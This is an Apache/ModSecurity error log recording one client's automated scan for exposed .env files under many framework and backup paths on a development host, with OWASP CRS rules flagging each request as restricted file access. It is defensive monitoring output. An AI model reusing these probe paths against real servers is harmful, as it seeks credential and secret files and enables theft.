[Fri Jul 17 09:14:57.941749 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /express/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/express/.env"] [unique_id "almlOVCBpfuYyhJ140vV-gAAAB4"]
[Fri Jul 17 09:14:57.942911 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/express/.env"] [unique_id "almlOVCBpfuYyhJ140vV-gAAAB4"]
[Fri Jul 17 09:14:58.091234 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOVCBpfuYyhJ140vV-gAAAB4"]
[Fri Jul 17 09:14:58.235451 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almlOl1_86A5R6msWNfXoQAAABI"]
[Fri Jul 17 09:14:58.236015 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almlOl1_86A5R6msWNfXoQAAABI"]
[Fri Jul 17 09:14:58.236346 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almlOl1_86A5R6msWNfXoQAAABI"]
[Fri Jul 17 09:14:58.261016 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/next/.env"] [unique_id "almlOg5GPQ6hs4VrfMpFIwAAAAY"]
[Fri Jul 17 09:14:58.262430 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/next/.env"] [unique_id "almlOg5GPQ6hs4VrfMpFIwAAAAY"]
[Fri Jul 17 09:14:58.406159 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:58.483189 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOg5GPQ6hs4VrfMpFIwAAAAY"]
[Fri Jul 17 09:14:58.652723 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nuxt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/nuxt/.env"] [unique_id "almlOlCBpfuYyhJ140vV-wAAAB4"]
[Fri Jul 17 09:14:58.653920 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/nuxt/.env"] [unique_id "almlOlCBpfuYyhJ140vV-wAAAB4"]
[Fri Jul 17 09:14:58.844108 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlOlCBpfuYyhJ140vV-wAAAB4"]
[Fri Jul 17 09:14:59.014524 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/nest/.env"] [unique_id "almlO0kXT4NBqALj2laAEgAAABA"]
[Fri Jul 17 09:14:59.015806 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/nest/.env"] [unique_id "almlO0kXT4NBqALj2laAEgAAABA"]
[Fri Jul 17 09:14:59.251666 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlO0kXT4NBqALj2laAEgAAABA"]
[Fri Jul 17 09:14:59.421838 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /react/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/react/.env"] [unique_id "almlO7oj0IkvhSCYadmE7wAAAAQ"]
[Fri Jul 17 09:14:59.423680 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/react/.env"] [unique_id "almlO7oj0IkvhSCYadmE7wAAAAQ"]
[Fri Jul 17 09:14:59.581180 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlO7oj0IkvhSCYadmE7wAAAAQ"]
[Fri Jul 17 09:14:59.755758 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vue/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/vue/.env"] [unique_id "almlO4l9vhFBGA6D8l99XQAAAAw"]
[Fri Jul 17 09:14:59.757555 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/vue/.env"] [unique_id "almlO4l9vhFBGA6D8l99XQAAAAw"]
[Fri Jul 17 09:14:59.826162 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:33136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:00.001556 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlO4l9vhFBGA6D8l99XQAAAAw"]
[Fri Jul 17 09:15:00.177334 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /angular/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/angular/.env"] [unique_id "almlPARRrtuZqNDDSqWzZQAAABo"]
[Fri Jul 17 09:15:00.178497 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/angular/.env"] [unique_id "almlPARRrtuZqNDDSqWzZQAAABo"]
[Fri Jul 17 09:15:00.344387 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlPARRrtuZqNDDSqWzZQAAABo"]
[Fri Jul 17 09:15:00.512094 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /svelte/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/svelte/.env"] [unique_id "almlPLEWOaI5pmYo9fnSAAAAAAA"]
[Fri Jul 17 09:15:00.513307 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/svelte/.env"] [unique_id "almlPLEWOaI5pmYo9fnSAAAAAAA"]
[Fri Jul 17 09:15:00.689473 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlPLEWOaI5pmYo9fnSAAAAAAA"]
[Fri Jul 17 09:15:00.860008 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vite/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/vite/.env"] [unique_id "almlPF1_86A5R6msWNfXpQAAABI"]
[Fri Jul 17 09:15:00.869524 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/vite/.env"] [unique_id "almlPF1_86A5R6msWNfXpQAAABI"]
[Fri Jul 17 09:15:01.056181 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:01.068540 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlPF1_86A5R6msWNfXpQAAABI"]
[Fri Jul 17 09:15:01.133482 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:01.256783 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/backup/.env"] [unique_id "almlPUgVnBK6wAv37w6v3QAAABQ"]
[Fri Jul 17 09:15:01.258025 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/backup/.env"] [unique_id "almlPUgVnBK6wAv37w6v3QAAABQ"]
[Fri Jul 17 09:15:01.338415 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:01.437742 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:01.593199 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlPUgVnBK6wAv37w6v3QAAABQ"]
[Fri Jul 17 09:15:01.765385 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:46082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:01.778934 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backups/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/backups/.env"] [unique_id "almlPbEWOaI5pmYo9fnSAwAAAAA"]
[Fri Jul 17 09:15:01.780809 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/backups/.env"] [unique_id "almlPbEWOaI5pmYo9fnSAwAAAAA"]
[Fri Jul 17 09:15:01.965800 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlPbEWOaI5pmYo9fnSAwAAAAA"]
[Fri Jul 17 09:15:02.063864 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:02.138746 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/old/.env"] [unique_id "almlPol9vhFBGA6D8l99YQAAAAw"]
[Fri Jul 17 09:15:02.139968 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/old/.env"] [unique_id "almlPol9vhFBGA6D8l99YQAAAAw"]
